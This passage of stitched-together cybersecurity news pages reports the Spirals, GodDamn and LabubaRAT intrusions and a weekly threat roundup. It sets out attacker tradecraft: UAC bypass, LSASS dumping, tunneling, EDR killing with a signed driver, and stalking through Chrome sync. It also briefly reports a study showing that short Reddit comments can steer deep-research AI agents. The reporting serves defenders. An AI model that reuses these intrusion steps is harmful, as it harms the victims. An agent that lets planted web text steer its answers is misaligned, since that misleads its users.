of invoices, contracts, payment notices, and procurement emails, making email a common initial access vector for threat actors. According to Cofense, attackers exploit these workflows with phishing emails that mimic legitimate business correspondence, allowing them to bypass AI-based secure email gateways (SEGs) and other email security technologies. VS Code agent host runs Copilot, Claude, and Codex in a dedicated process Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. Microsoft makes Windows SSO prompts easier to manage Microsoft is introducing a new registry-based policy that lets IT administrators automatically accept Windows SSO permissions on Windows 11 versions 24H2 and 25H2 devices managed with Microsoft Entra ID. Download: The ultimate guide to network operations management T and security teams are managing growing complexity across networks, infrastructure, tools, and workflows. The result? Slower response, duplicated effort, and operational friction. This guide explores how intelligent workflows help teams reduce manual work, improve visibility, and move faster across network operations. Cybersecurity jobs available right now: July 14, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: July 17, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Cloudflare, Lineation.ai, Nudge Security, and Polygraf AI.

Spirals ransomware locks down victim systems in under 24 hours A previously unknown ransomware strain called Spirals was used last month in an attack against an IT services company in South Asia, where attackers went from initial access to data theft and encrypting the network in less than 24 hours, according to Symantec’s Threat Hunter Team. Spirals encrypts files quickly after gaining a foothold Spirals is written in Rust and encrypts files using a separate AES-128 key per file, each wrapped with an attacker-controlled ECDH P-256 public key. To speed up encryption, files larger than 5 MB are encrypted in chunks. Victims were left with a ransom note, RECOVERY_SECTION.log, directing them to a Tor negotiation site and threatening to leak stolen data within six days if no payment was made. The attackers gained initial access by compromising an internet-facing IIS web server and uploading an ASP.NET web shell. From there, they ran commands through the IIS worker process to open an interactive session, escalating privileges with a User Account Control (UAC) bypass, turning on Remote Desktop Protocol (RDP), and creating a local account to maintain persistent access. Credential dumping and tunneling expanded the intrusion “Credential material was harvested by dumping the Security Account Manager (SAM) hive to a password-protected archive. Later, during WMI-based lateral movement activities, the attackers also dumped LSASS process memory on multiple machines using rundll32.exe and comsvcs.dll,” researchers explained. To keep multiple lines of communication open with the compromised network, they set up a reverse SOCKS proxy, a renamed copy of the Chisel tunneling tool disguised as chrome.exe, and a Cloudflare Tunnel client. Some of the tools used in the attack were hosted externally with .jpg file extensions, apparently to dodge basic file-type filtering. The operators then used PsExec, running as SYSTEM, to push the same PowerShell payload to a long list of hosts, hitting new targets every few seconds for about half an hour. “The payload was named bitsadmin.exe, likely to masquerade as the legitimate Windows utility associated with the Background Intelligent Transfer Service,” they noted. That payload disabled Windows Defender and stopped services tied to 23 backup, database, and virtualization products, including Veeam, VMware, Hyper-V, SQL Server, Oracle, and PostgreSQL, clearing the way for the ransomware to encrypt files. “While we have so far only seen this ransomware on one victim network, its capabilities and stealth point to the actors behind it being skilled operators who could easily launch more wide-ranging campaigns,” Symantec added. The company has shared indicators of compromise tied to the attack for organizations wanting to check their own environments for related activity.

A lot of this week’s trouble starts with something that looks close enough. A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation. Old bugs are back, weak defaults are earning their keep, and some attack paths are so plain they barely feel like research. Here’s the mess. Game cheats drop spywareCybersecurity researchers 11 malicious NuGet packages published as .NET command-line tools that present themselves as game utilities, bots, and "panels," each of which act as a first-stage downloader responsible for fetching and executing a second-stage Python payload named "pepesoft.exe" from GitHub Releases and Hugging Face paths under the username "pepegit666," along with a dormant BitTorrent fallback mechanism built into it. "The recovered payloads use downloader-supplied AWS-style key material to retrieve remote configuration, authenticate to Google Sheets, bind activations to hardware, and honor a remote HWID/UUID ban-list," Socket said. "In the three direct-bytecode payloads, the larger game-automation application also exposes Telegram bot commands that can send screenshots back to the configured chat." Fake installers deploy RATsUAT-11795, a sophisticated, Russian-speaking, financially motivated adversary, has been observed conducting a malicious campaign targeting users in the U.S. and Europe since at least June 2025. The activity delivers a Python-based remote access tool (RAT) dubbed Starland RAT and a command-and-control (C2) memory implant known as WLDR agent using trojanized installer lures for software like developer tooling, IT administration utilities, enterprise collaboration platforms, and consumer gaming applications (e.g., MobaXterm, WebEx, Zoom, DBeaver, and FaceIT). "The WLDR agent is a sophisticated PowerShell-based C2 memory implant that features encrypted beaconing, task queuing, and a Runspace execution engine for executing additional payloads," Cisco Talos said. Alternatively, UAT-11795 has been linked to the deployment of CastleStealer and Remcos RAT. The malware is designed to target victims' credentials and cryptocurrency wallet assets, harvest Active Directory information, and establish a persistent connection to the victims' machines from the C2 server, likely with an aim to deliver and execute further payloads. The majority of the infections are in the U.S., with fewer potential impacts recorded in Germany, Romania, and Venezuela. The attack chain makes use of ClickFix lures to distribute HTA scripts, which then download and run trojanized installers to deliver Starland RAT, which then uses "curl.exe" to execute a PowerShell stager for decrypting and running WLDR agent. In recent weeks, ClickFix has also served as a conduit for TELEPUZ, a modular malware, and ClickLock Stealer, a macOS-focused information and cryptocurrency wallet stealer targeting users in Europe, North America, and MEA. "ClickLock Stealer targets data from 8 browsers, 31 crypto wallet browser extensions, 7 password manager extensions, 8 desktop wallet applications, extracts blockchain addresses across 6 chains, macOS Keychain, shell history, and FTP credentials," Group-IB said. Network encrypted within hoursAn IT services company in South Asia was targeted by a previously undocumented ransomware family called Spirals in June 2026. "The Rust-based payload is either a new ransomware threat or one purpose-built for this attack," Broadcom's Symantec and Carbon Black Threat Hunter Team said. "Less than 24 hours after the initial breach, the ransomware payload was being pushed to machines on the network." The attacker is said to have obtained initial access by compromising an internet-facing IIS web server and uploading an ASP.NET web shell. Over the next three hours, they established persistent access, conducted reconnaissance, uninstalled endpoint security software, dumped the Security Account Manager (SAM) hive, and set up covert remote access prior to deploying the payload across the network using PsExec. The ransom note seeks to apply pressure by threatening to publish stolen data after six days if a ransom is not paid and directs victims to a Tor portal for negotiations. The actor behind the attack remains unknown. Actively exploited flawsThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-46817, an improper privilege management vulnerability in Oracle E-Business Suite, and CVE-2023-4346, an overly restrictive account lockout mechanism vulnerability in KNX Association KNX Protocol Connection Authorization Option 1, to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply the fixes by July 18 and 29, 2026, respectively. Reports about active exploitation of CVE-2026-46817 emerged late last month. It's currently not known how the KNX Protocol flaw is being abused and by whom. New rules for vulnerability reportsCISA, in partnership with the National Security Agency (NSA), Japan Computer Emergency Response Team Coordination Center (JPCERT/CC), Netherlands' National Cyber Security Centre (NCSC-NL), and United Kingdom's National Cyber Security Centre (NCSC-UK), has published joint guidance to "helps software manufacturers and online service providers collaborate effectively with security researchers who identify weaknesses in software, networks, and hardware in a structured, transparent framework." The agency said a "well-defined coordinated vulnerability disclosure (CVD) program enables software manufacturers and online service providers to better assess potential risk, improve their vulnerability management processes, and make informed decisions that improve product security for their customers." 700-person scam network dismantledAuthorities from the Netherlands have arrested a 46-year-old man with Israeli and Polish citizenship, who is alleged to be behind an international criminal organization with more than 700 employees who were employed at about 20 fraudulent call centers. These individuals posed as financial advisors to conduct investment fraud. "By maintaining regular contact, sometimes over a period of months, these scammers build a bond of trust with their victims," the Dutch police said. "The initial deposit is always a relatively small amount that yields an immediate profit. The online platform where victims can view their investments is indistinguishable from the real thing, yet in reality, no actual investments are being made. Scammers use a friendly approach and cunning tactics to manipulate victims into depositing ever-larger sums. The money – often cryptocurrency – that victims believe they are investing ends up in the scammers' pockets." The operation has also led to the arrest of four "financial advisors." €140M fraud network disruptedSpanish National Police have disrupted a cybercrime network accused of stealing and laundering about €140 million through fake investment platforms, CEO fraud, invoice fraud, and adversary-in-the-middle attacks across Europe. Four people have been apprehended in connection with the operation: two in Portugal, one in Spain, and one in Panama. "The suspects established and managed a network of over 800 bank accounts to receive substantial sums of illicit money swindled from numerous victims; these funds were immediately dispersed and concealed across another network of accounts, creating a chain of transactions that safeguarded the criminal proceeds and allowed the vast amounts of defrauded money to be hidden and laundered through 'money mule' accounts in third countries," police said. "To create the complex web of accounts used for money laundering, the group utilized an extensive network of money mules – European citizens who had arrived in Spain from other countries – to set up companies and subsequently open bank accounts across Spanish territory." Windows bind links evade EDRBitdefender Labs has demonstrated three attack techniques in which Windows' bind links can be misused to evade endpoint detection and response (EDR) products. "Windows includes a file-system virtualization feature that can redirect one local path to another without modifying the original file or leaving a persistent filesystem artifact," Bitdefender's Martin Zugec said. "It is implemented by bindflt.sys, the Bind Filter minifilter driver, and used legitimately by Store apps, Windows Sandbox, and Windows containers." The techniques can be leveraged by an attacker running as a local administrator to bypass EDR sensors and built-in Windows defenses such as AMSI and AppLocker. The techniques include: File-Binding, Process-Binding, and Silo-Binding, each of which shadow a trusted file or DLL path, a trusted executable path, and a user-defined Windows silo. Microsoft has assessed the findings as low severity because it requires administrator access. 290 fake repos spread infostealerA financially-motivated threat actor has set up more than 290 fake GitHub repositories impersonating trusted software and security tooling vendors, including Arctic Wolf, to distribute a Windows infostealer that shares the same codebase as BoryptGrab. The 292 impersonated repositories span security tooling, fintech and personal finance, cryptocurrency wallets and exchanges, developer and productivity tools, secure email providers, macOS utilities, and gaming software. "The payload is a pure smash-and-grab in-memory infostealer, with a 41-entry cryptocurrency wallet path table and 19+ targeted browser names for broad, financially driven credential collection," Arctic Wolf said. "Stolen data is packaged into a ZIP archive and exfiltrated to a C2 with an IP residing in Russia, on a hosting provider repeatedly associated with malware operations." The malware does not set up persistence on the host and is instead designed to collect as much data as possible in a single execution. The brandjacking campaign is said to be the work of a Russian-speaking operator. $62M cybercrime indictmentThe U.S. Justice Department has unsealed a December 2024 indictment charging three Russian nationals and two related bulletproof hosting companies for their roles in cybercrimes against U.S. victims, causing tens of millions of dollars in losses. The charges are against Alexander Alexandrovich Volosovik, Kirill Andreevich Zatolokin, Yulia Vladimirovna Pankova, Media Land LLC, and ML.Cloud LLC. In tandem, the U.S. Department of State's Rewards for Justice (RFJ) program has announced its offering a reward of up to $10 million and possible relocation for actionable information on foreign government-linked associates of Pankova, Volosovik, and Zatolokin, their malicious cyber activities, or foreign government-linked use of Media Land or ML.Cloud. The defendants and the companies were sanctioned by the U.S., the U.K., and Australia in November 2025. Earlier this week, the Council of the European Union also levied sanctions against Media Land, ML.Cloud, and Volosovik, as part of the first joint cyber sanctions package issued against Russia in collaboration with the U.K. Chrome Sync becomes spywareA legitimate Chrome sync technique meant for user convenience is being misused by stalkers to gain broad access to a device owner’s private information. "Chrome's sync feature exists to make life easier," Certo said. "Sign in with a Google account, and Chrome will keep your bookmarks, open tabs, browsing history, autofill data, and saved passwords in step across every device you use -- your phone, tablet, laptop, whatever you're signed into." However, this can be turned into a surveillance tool in a simple step. All a digital intruder has to do is gain brief physical access to a victim's phone, open the Chrome app and add a Google account under their control, and ensure sync is switched on for that account. "The victim carries on using their phone as normal," Certo explained. "From this point, their browsing activity is copied to the attacker's Google account in the background. The attacker opens the same Google account on their own device and reviews the victim’s browsing history whenever they choose, from anywhere with an internet connection." eCards deliver remote accessA sustained phishing campaign dubbed SeasonalInvite has been observed deploying and abusing commercial Remote Monitoring and Management (RMM) tools since at least January 2026 by making use of social engineering themes tied to the seasonal calendar in attacks targeting both Windows and macOS users. The attacks involve the abuse of ConnectWise ScreenConnect, LogMeIn Resolve, Kaseya, and O&O Syspectr. The bogus pages are likely distributed via phishing emails and poisoned search results. Forescout said it identified 959 eCard-themed domains and a traffic distribution system (TDS) using 2,658 gate pages to route victims to phishing pages while blocking automated security scanners. "The phishing pages are generated by a kit and contain indicators of likely AI-generated code, suggesting the threat actor used a large language model (LLM) to assemble delivery pages and rapidly retool the campaign," it noted. OAuth codes bypass MFA defensesCybersecurity researchers have identified a new AI-powered device code phishing toolkit called Jalisco, along with a credential harvester codenamed OmegaLord that captures phone numbers alongside passwords to intercept multi-factor authentication (MFA) codes. "Jalisco is a device code phishing toolkit that provisions fresh OAuth codes in real time, defeating the time-based controls defenders rely on and pairing naturally with AI-powered kits like 'EvilTokens,'" ReliaQuest said. "OmegaLord, by contrast, is a JavaScript-based credential harvester that impersonates a PDF reader and collects phone numbers alongside credentials—a deliberate step toward intercepting or hijacking MFA." The development comes amid a surge in device code phishing attacks in 2026 that employ purpose-built tools to run such campaigns at scale. "Once inside a compromised Microsoft 365 account, attackers establish persistence by pairing multiple attacker-controlled devices to the victim's Entra ID tenant, then move quickly to exfiltrate sensitive data from software-as-a-service (SaaS) platforms for extortion," the company added. In some cases, threat actors have been observed enrolling more than five devices to a single compromised account in an attempt to extend the window for exfiltration. 3,900 threat servers mappedA new analysis from Hunt.io has uncovered more than 3,900 threat activities enabling servers across 302 Eastern European infrastructure providers within the past 3 months. "Keitaro leads Eastern European threat activity enablement with 1,277 unique threat activity enabling IPs, followed by Tactical RMM (232) and Acunetix (173)," the threat intelligence company said. "Cloud Atlas APT infrastructure was observed across multiple Eastern European providers, confirming the group's continued reliance on Eastern European hosting. Proton66 OOO was linked to active exploitation of CVE-2026-35273, a critical Oracle PeopleSoft zero-day attributed to the ShinyHunters group, with threat activity enabling infrastructure directly traceable to this Russian provider." One infection, two revenue streamsA financially motivated campaign has been observed delivering Vidar stealer and the XMRig cryptocurrency miner to consumer and small- and medium-sized business victims worldwide. The campaign was detected in April 2026. "Attackers lure victims via malvertising to pages for downloading files that impersonate cracked versions of copyright-protected software," Palo Alto Networks Unit 42 said. "Upon execution, the loader drops and runs both Vidar stealer and XMRig. Vidar stealer targets information like browser credentials, cookies, and crypto wallets. XMRig mines Monero cryptocurrency." The loader binaries use the Factory-v3 framework, which refers to a malware-as-a-service (MaaS0 builder used for different families of stealer malware. "The tag X3D MINER appears in Telegram operator notifications sent for every new victim infection," Unit 42 added. "The operator behind this campaign runs a dual-monetization scheme. Criminals sell credentials and session cookies stolen by Vidar stealer on criminal log markets, while XMRig provides passive income from hijacked victim CPU cycles." The lesson is not “trust nothing.” It is to stop granting trust in bulk. Check the repo, the installer, the account, the exposed service. Small shortcuts keep turning into full attack paths. And when a bug looks old, awkward, or too simple to matter, assume someone has already found a use for it. Patch the boring stuff. Tighten the defaults. Watch the handoffs.

A new ransomware actor called Spirals completed a corporate intrusion, from initial access to data theft and encryption, in less than 24 hours. The attack occurred in June and breached an IT services firm in South Asia after compromising an Internet Information Services (IIS) server exposed on the public web. Researchers at Symantec's Threat Hunter Team say that the attacker moved quickly after obtaining initial access and uploading an ASP.NET web shell. The Spirals operator then bypassed User Account Control (UAC), enabled Remote Desktop, and created a local account to maintain persistent access. The attacker also dumped the SAM registry hive and LSASS process memory in an attempt to extract credentials. Symantec investigators say that the threat actor tried to remove security software on the hosts, used WMI to move laterally to more than a dozen systems, and established redundant remote access channels using revsocks, Chisel, and Cloudflare tunnels. A PowerShell payload disabled Microsoft Defender, removed its threat definitions, and stopped services associated with 23 backup, database, and virtualization products, including Veeam, VMware, Hyper-V, SQL Server, Oracle, and PostgreSQL, in preparation for the encryption stage. The deployment of the Spirals payload (bitsadmin.exe) occurred less than 24 hours after the initial compromise, reports Symantec. “The operator began deploying the ransomware payload across the victim’s network using PsExec running as SYSTEM,” the researchers explain. “The payload was named bitsadmin.exe, likely to masquerade as the legitimate Windows utility associated with the Background Intelligent Transfer Service, encrypting files on impacted machines.” Spirals is a Rust-based ransomware family that uses AES-128 keys protected by an attacker-controlled ECDH P-256 public key. The ransomware uses intermittent encryption for files larger than 5MB to accelerate the process. A ransom note named RECOVERY_SECTION.log is dropped on the C:\ drive, containing instructions to negotiate a ransom. Victims are threatened with public exposure of the stolen data within six days, unless the attacker is paid. Despite the presence of the extortion portal, Symantec observed Spirals in a single case so far, so it’s unclear whether the new family is intended for broader cybercrime deployment or if it was a custom payload created specifically for this attack at the IT services firm. Symantec's report provides network indicators and file hashes associated with the documented Spirals attack to help organizations worldwide set up defenses against this threat group. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Cybersecurity researchers have flagged a previously undocumented Rust-based remote access trojan (RAT) codenamed LabubaRAT that masquerades as NVIDIA software to blend into target environments. "LabubaRAT creates a reusable foothold for hands-on activity," Blackpoint Cyber researchers Sam Decker and Nevan Beal said in an analysis published today. "Once deployed, it can profile the host, identify security tools, receive operator commands, move files, capture screenshots, and proxy traffic through the affected system." The implant also supports multiple communication methods, including HTTPS, WebView2, and DNS tunneling, allowing attackers to maintain access to compromised hosts even if one pathway is detected and closed off. There are some signs that LabubuRAT is being offered under a malware-as-a-service (MaaS) model. The starting point of the attack chain is an executable named "nvidia-sysruntime.exe," which impersonates NVIDIA's container runtime toolkit. The sample, instead of hard-coding its command-and-control (C2) information, accepts a runtime configuration through command-line arguments. This allows the campaign operator to define various parameters that are key to establishing communication with the remote server, including the server details ("pipicka[.]xyz") and the polling interval used by the implant. Alternatively, the attacker can also supply these individual values in the form of one single Base64-encoded argument. "Because those values were provided at launch, the same compiled binary could be reused with different infrastructure, organizations, or campaign groupings instead of relying on a hard-coded server," the researchers noted. The configuration is then stored in a local SQLite database, following which it undertakes discovery operations to inventory the list of web browsers and security products installed on the host, specifically checking for the presence of Google Chrome, Mozilla Firefox, Microsoft Edge, Brave, Microsoft Defender, CrowdStrike, SentinelOne, Carbon Black, Sophos, Malwarebytes, Bitdefender, ESET, Kaspersky, McAfee, Symantec, and Trend Micro. In addition, it gathers the hostname, RAM size, CPU model, and the Windows User Account Control (UAC) state as a way to prepare the environment for the next stage, as some RAT functionality may be dictated by the security tools present on the system. Once launched, LabubaRAT supports a wide range of functions, such as command execution, PowerShell execution, JavaScript execution, screenshot capture, file upload and download, archive handling, and SOCKS5 proxy support. "Those capabilities gave the operator enough control to interact with the host, move files in and out of the environment, route traffic through the system, and maintain access without relying on a separate loader or narrowly scoped follow-on tool," Blackpoint Cyber said. The malware is a reference to the "LabubaPanel" title associated with its C2 infrastructure and a Labubu-themed favicon. "The sample combined runtime configuration, local state, host profiling, multiple communication paths, and operator tasking into a complete remote access tool," Blackpoint Cyber said. "The malware gave an operator a practical way to enroll hosts, understand the environment around each agent, execute commands, move files, capture screenshots, proxy traffic, and maintain user level autostart." "The LabubaPanel branding provided the clearest external naming clue, but the more important finding is the framework-like structure behind it: a Rust based RAT built to be configured, enrolled, and operated across multiple deployments."

The latest incarnation of a family of ransomware which has been hitting organizations since 2022 has evolved to exploit Microsoft-signed malicious drivers to prevent endpoint defenses from detecting and disrupting its attacks. Detailed by cybersecurity researchers at Symantec, GodDamn ransomware first appeared in May 2026 and analysis of the code revealed that it is the newest iteration of Beast ransomware, itself is a rebrand of Monster ransomware which was first seen in 2022. All three forms of ransomware are part of a family which has been dubbed Hyadina. In a blog post published on July 9, Symantec researchers said the attackers were spotted leveraging AnyDesk, a remote desktop application, which was hidden on the affected endpoint in a folder named ‘Music’ and made outbound connections to unknown IP addresses. Researchers said it is unknown how the attackers gained initial access to the machine prior to this, but account compromise is a common starting point for ransomware attacks. From here, the attackers used an executable file disguised as a Symantec product to drop PoisonX, a malicious kernel driver which carries a legitimate Microsoft Windows Hardware Compatibility Publisher signature into the system driver store and is used to terminate security product processes, further lowering the defenses of the system. It is not known how the signature was attained, but common methods of achieving this include usen stolen corporate identities to sign off the driver, or by attackers secretly exploiting legitimate third-party drivers. With the defenses lowered, the attackers installed tools including NirSoft and Mimikatz, which are used to steal credentials, cookies, live network traffic and more, with the aim of finding means to gain further control over the machine and the wider network, including administrator accounts. Finally, when enough control over accounts and systems had been gained, the attackers triggered GodDamn ransomware, encrypting the files and displaying a ransom note. Researchers note that as the latest variant of ransomware from the Hyadina family, GodDamn demonstrates how ransomware operations continue to evolve their tools, tactics and procedures to ensure their attacks remain capable and effective. “GodDamn's use of the relatively newly discovered PoisonX malicious driver component represents an escalation in defensive evasion capability by this group, indicating that Hyadina is continuing to actively develop its ransomware and its capabilities,” said the Symantec and Carbon Black threat hunter team.

Cybersecurity researchers have flagged a new ransomware family called GodDamn that employs the PoisonX kernel driver to neutralize security software as part of its defense evasion strategy. According to a new report published by the Threat Hunter Team from Symantec, the ransomware was first publicly spotted in the wild on May 21, 2026. It's assessed to be a rebrand of the Beast ransomware, which, in turn, was an enhanced version of Monster, a Delphi-based ransomware that surfaced in March 2022. Broadcom's cybersecurity arm is tracing the developer behind these ransomware families under the moniker Hyadina. In one attack orchestrated by the ransomware operation in early June 2026, the threat actors are said to have leveraged AnyDesk for remote access and used a NirSoft-based credential harvesting toolkit before deploying the ransomware. The exact initial access vector is unknown. The credential harvester is designed to extract sensitive data from common web browsers, Windows Credential Manager, cached domain credentials, VNC sessions, email clients, Wi-Fi profiles, and live network traffic. Also put to use in the attack is a user-mode defense evasion tool that's dressed as a Symantec product ("symantec.exe") and the PoisonX kernel driver ("g11.sys") to disable endpoint defenses in what's called a bring your own vulnerable driver (BYOVD) attack. "However, the PoisonX driver seems to be slightly more unusual, in that it appears to be a malicious driver that its developers succeeded in getting signed by Microsoft, and it is now being used by ransomware attackers," the Symantec Threat Hunter Team said in a report shared with The Hacker News. It's worth noting that PoisonX is one of the eight drivers adopted by the operators of The Gentlemen ransomware-as-a-service (RaaS) scheme in its custom GentleKiller tool that it hands out to affiliates for impairing system defenses prior to executing the encryptor. "Vulnerable drivers are the attacker's most reliable route in," Broadcom noted last month. "The attacker, having gained administrator privileges, can drop a flawed but validly signed driver onto the target machine. Because the driver is signed, Windows loads it automatically." "The most common action is to kill the processes belonging to antivirus (AV) or endpoint detection and response (EDR) products, stripping the machine of its defenses. Some variants are more subtle. Attackers may strip the security agent of the rights it needs to function correctly, leaving it running but unable to act. Others tamper directly with the kernel's internal records so that the security product no longer receives notifications about what is happening on the machine, effectively making it blind." The attack is also characterized by the use of PsExec to facilitate lateral movement, followed by setting up AnyDesk on each of those reachable hosts and registering it as an auto-start Windows service to survive reboots. On some machines, the entire AnyDesk setup is handled by a PowerShell script pre-staged on the system drive, suggesting the use of a reusable installer to streamline the process. "After completing the AnyDesk setup on each host, the attackers terminated the running AnyDesk process, waited briefly, then rebooted the machine," Symantec said. "By the end of June 2, this deployment sequence had been repeated across at least 10 hosts within the targeted organization." The cybersecurity company said GodDamn ransomware was first detected on June 3 on a separate network segment associated with a distinct organizational unit, causing the files to be renamed with the victim's name as the extension instead of the ".God8Damn" extension used in other attacks carried out by Hyadina. According to a report released by CYFIRMA, the ransom note dropped at the end of the intrusion urges victims to contact them either via email or the qTox encrypted messaging app. "GodDamn's use of the relatively newly discovered PoisonX malicious driver component represents an escalation in defensive evasion capability by this group, indicating that Hyadina is continuing to actively develop its ransomware and its capabilities," the cybersecurity company concluded.

Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the contents of a query away from anyone watching a network link. The encryption covers the message inside each packet. The packet still carries plaintext headers, and those values mark a flow as DNS. Agent Beacon: Open-source telemetry layer for AI agents AI coding agents such as Claude Code, Codex CLI, Cursor, and Claude Cowork run on developer laptops, CI jobs, cloud environments, where they edit files, run commands, and call outside tools. Beacon, an open-source project from Asymptote Labs, configures telemetry for those runtimes and writes a normalized record of what each agent does across local, CI, and cloud-agent surfaces. Who pays when you gate cyber-capable AI models? In this interview with Help Net Security, Jaya Baloo, COO & CISO at Aisle, examines the debate over restricting access to cyber-capable AI models. She lays out the strongest argument for gating these tools, then explains where it breaks down for security teams who depend on the same capabilities for defense. A $1,400 experiment in AI security auditing outperformed OpenAI’s Codex Security A research team has built a system that teaches AI agents to hunt for software bugs by writing the audit method down as plain text. The system, called EVOHUNT, keeps the underlying AI model fixed and improves only an external “playbook” that tells the agent how to work. GTA 6 early access offers are taking gamers’ crypto Scam websites are circulating across the internet with a pitch aimed at millions of gamers: a way to play Grand Theft Auto VI before its release. The pages promise early access for a few hundred dollars in cryptocurrency, ask buyers to enter a payment code, and claim the game will then unlock. Praxen: Open-source AI agent behavior verification Praxen is an open-source tool with a simple job: it checks whether an AI agent does what it claims to do. The tool takes an agent’s declared policy, looks at how the agent operates, and points out every spot where the two drift apart. Where IT meets OT and railway cybersecurity gets harder In this interview with Help Net Security, Jorge Aldegunde, Global Head of Railway Services at DNV, talks through what happens when old operational technology meets newer IT in monorail systems. He explains why open networks widened the attack surface, how teams decide whether to patch a signalling flaw without stopping trains, and who carries the liability. Scoring AI hackers when there is no answer key AI models are solving an increasing number of offensive cybersecurity benchmarks, making those tests less useful for evaluating the most advanced systems. Many rely on vulnerabilities that have already been publicly documented, allowing models to draw on existing knowledge. FrontierCyber, a benchmark from AI security lab Irregular, takes a different approach. It places models on real systems and measures how far they progress toward a security objective. The uptime questions every engineering leader should ask this week In this interview with Help Net Security, Mattias Geniar, CTO at Oh Dear, explains why most outages start quietly, as creeping latency or a slow rise in errors. He argues teams alert on the wrong things: absolute numbers instead of changes, isolated endpoints instead of real user outcomes. Healthcare leaders see a fatal cyber incident as inevitable Healthcare practices run on a chain of outside vendors. An EMR system holds clinical records, a billing platform processes claims, a telehealth tool supports remote visits, and a cloud provider stores data. Every one of those connections gives an outside company a path into the practice, and any one of them can break. According to Omega Systems’ 2026 Healthcare IT Landscape Report, the large majority of practices dealt with at least one operational disruption that traced back to a vendor or a vendor’s own supplier. Two CEOs on why security and AI readiness belong together SuperOps and Guardz are bundling PSA, RMM, MDM, and agentic SecOps into one offering for MSPs. In this Help Net Security Q&A, SuperOps CEO Arvind Parthiban and Guardz CEO Dor Eisner explain how a connected stack cuts the time and context lost to tool-switching, lowers costs against multi-vendor setups, and helps close the gap between average MSP margins of 8% and the 18% top performers reach. What the Fortibleed campaign means for organizations running FortiGate firewalls A massive credential-harvesting campaign targeting FortiGate firewalls has exposed thousands of organizations to potential network compromise, and a trove of attacker tools, scripts, and credentials left inadvertently exposed on a server has given researchers an unusually detailed look at how the operation worked. Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) CVE-2026-20230, a server-side request forgery (SSRF) vulnerability affecting Cisco’s Unified Communications Manager (Unified CM), is being exploited to drop webshells and achieve remote code execution capability on the underlying server. Law enforcement hits StealC and Amadey malware networks Operation Endgame, the largest international law enforcement operation aimed at disrupting ransomware and cybercrime infrastructure across the world, has claimed its latest targets: StealC and Amadey. Mystery hackers use novel SharkLoader dropper against governments, software devs Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. Synology issues critical fix for MailPlus Server vulnerabilities Synology has has fixed critical vulnerabilities in MailPlus Server, a software package used to run private email infrastructure on Synology NAS devices. Details about the vulnerabilities are still under wraps. Product showcase: How to evaluate AI SOC platforms and where Prophet AI leads The agentic SOC market is crowded with vendors promising to automate alert triage, investigation, and response. The challenge is separating measurable operational gains from marketing claims. Prophet Security is an agentic AI SOC platform that autonomously triages, investigates, and responds to security alerts. It also helps strengthen detection and response programs by identifying tuning opportunities, uncovering detection gaps, and enabling natural-language threat hunting. 23 ClawHub plugins squatting official scopes expose AI registry security gaps In this Help Net Security video, Ax Sharma, Head of Research at Manifold Security, breaks down how 23 code-executing plugins ended up under ClawHub’s official @openclaw and @clawhub scopes while owned by unrelated accounts, why an official-looking scope is a supply chain risk even when the code isn’t malicious, and what the registry changed after the disclosure. What your next cyber insurance renewal will demand In this Help Net Security video, Michael Loewy, co-founder, Tide Foundation, explains how cyber insurance is rewriting security programs at renewal time. Hundreds of AI-powered iOS apps found exposing credentials Mobile app developers are packing AI features into everything from writing assistants to productivity tools and lifestyle apps. New research shows that securing access to those services remains a challenge. Researchers from Wake Forest University analyzed 444 iOS applications with LLM features and found 282 that exposed exploitable credentials or backend access mechanisms. Free, no-signup World Cup streams serve scams instead of football Researchers at Malwarebytes identified dozens of websites claiming to offer free access to FIFA World Cup matches. Instead of streaming games, the sites directed visitors through a chain of advertising pages designed to generate revenue for their operators. Phishing hides in routine Microsoft 365 workflows Attackers are abusing Outlook Groups and Microsoft 365 collaboration features to make phishing campaigns appear routine, according to Fortra. The attack begins when a target is added to or invited into an attacker-controlled Microsoft 365 Group. The group’s name, description, or welcome message is designed to create urgency, often using themes such as payroll updates, contract renewals, supplier requests, or mandatory training notices. Two Scattered Spider hackers plead guilty over Transport for London cyberattack Two members of the notorious hacker group Scattered Spider have pleaded guilty to charges related to a 2024 cyberattack on Transport for London (TfL) that resulted in £29 million in loss and recovery costs. Using Reddit to manipulate AI search results is surprisingly easy A Reddit comment that takes only a few seconds to write can end up influencing the answers generated by AI research tools. A Cornell Tech study found that a short snippet of user-generated text, sometimes as little as 13 words, was enough to affect the output of deep-research agents, AI systems that search the web, gather information from multiple sources, and generate reports with citations. LastPass customer data exposed through Klue supply chain attack LastPass disclosed that attackers used OAuth tokens compromised in a supply chain attack on Klue, a market intelligence platform that integrates with CRM and sales tools across organizations, to access customer data stored in its Salesforce environment. Phishing attack on healthcare firm Xsolis impacts 1.4 million people Healthcare technology company Xsolis confirmed that a phishing attack resulted in unauthorized access to its network. The company develops AI-powered software for hospitals, health systems, and health plans and serves more than 600 hospitals and health insurers. Algerian national accused of running cybercrime marketplaces extradited to US An Algerian national accused of running online marketplaces that sold phishing kits and fraud tools has been extradited from Spain to the United States to face bank fraud conspiracy charges. WhatsApp will warn users before they message a potential scammer WhatsApp is rolling out a warning screen on Android and iOS that appears before users open chats with unfamiliar phone numbers. Meta hopes that this new feature will help users avoid scammers. Hacker gets 18 months for attack that compromised 60,000 betting accounts A 21-year-old man known online as “Snoopy” was sentenced to 18 months in prison for his role in a scheme that hacked user accounts on a fantasy sports and betting website and sold access to them, causing hundreds of thousands of dollars in losses. Stealthy new backdoor surfaces in attacks on multiple sectors A relatively new backdoor called Mistic has been deployed in multiple attacks since April 2026 targeting organizations in the insurance, education, IT, and 